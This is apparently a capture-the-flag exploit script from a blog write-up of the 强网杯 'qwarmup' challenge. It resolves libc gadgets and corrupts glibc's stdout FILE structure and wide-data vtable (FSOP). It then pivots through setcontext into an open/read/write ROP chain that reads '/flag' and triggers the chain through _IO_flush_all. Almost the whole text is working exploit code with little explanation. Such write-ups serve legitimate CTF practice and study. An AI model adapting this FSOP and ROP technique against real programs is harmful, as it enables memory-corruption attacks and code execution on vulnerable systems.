pop_r12_r13_r14 = libc_base + 0x0000000000037be5 #pop r12 ; pop r13 ; pop r14 ; ret
pop_rdi = libc_base + 0x2da82
pop_rsi = libc_base + 0x37bea
pop_rdx_r12 = libc_base + 0x1070f1 #pop rdx ; pop r12 ; ret
leave_ret = libc_base + 0x0000000000052d52
ret = libc_base + 0x2c7ad
syscall = libc_base + 0x000000000002d564

open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr= libc_base + libc.sym['write']

#0x00000000001471e0 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
Magic = libc_base + 0x1471e0

_IO_wstrn_jumps = libc_base + libc.sym['_IO_wstrn_jumps']


# 1. FSOP --> IO --> heap
# _IO_2_1_stdout_

write(0x2E7770 , p64(c_uint32(~(2 | 0x8 | 0x800)).value)) #flags
write(0x2E7770+192 , p8(0xff)) #_mode
write(0x2E7770+72, p64(heap_base+0x30)) #_IO_save_base rdi
write(0x2E7770+216, p64(_IO_wstrn_jumps+0x28)) #vtable

# _IO_2_1_stdout_ -> _wide_data
#write(0x2E69A8, ) #_IO_wide_data_1
write(0x2E6998, p8(0)) #_wide_data->_IO_read_ptr

write(0x2E6998+24, p8(0xff))

write(0x2E6998+224, p64(heap_base+0x20)) #_wide_data->_wide_vtable: rdi



# 2. ROP -- ORW
flag_addr = heap_base + 0x20
orw_addr = heap_base + 0xC0

rop = flat({
0x00: [b'/flag\x00\x00\x00', Magic],
0x10: [setcontext_61, heap_base+0x10],
0x20: [0, 0],
0x30: [0, 0],
0x40: [0, 0], # '/flag'
0x50: [0, 0],
0x60: [0, orw_addr],
0x70: [0, 0],
0x80: [0, 0], # open('/flag',0,0)
0x90: [orw_addr, ret],
0xa0: [pop_rdi, flag_addr], # open('/flag\0\0\0', 0)
0xb0: [pop_rsi, 0],
0xc0: [open_addr, pop_rdi], # read(3,&buf,0xff)
0xd0: [3, pop_rsi],
0xe0: [flag_addr+0x300, pop_rdx_r12],
0xf0: [0xff, 0], # write(1,&buf,0x40)
0x100:[read_addr, pop_rdi],
0x110:[1, pop_rsi],
0x120:[flag_addr+0x300, pop_rdx_r12],
0x130:[0xff, 0],
0x140:[write_addr, 0],
})
write(0,rop)

#pause()
debug()
# 3. trigger _IO_flush_all
write(link_map_offset+0x40+5*0x8, b'\xb8', False)
''''''
pi()

强网杯qwarmup
http://csc8.github.io/2023/04/06/qwarmup/
作者
Csc8
发布于
2023年4月6日
许可协议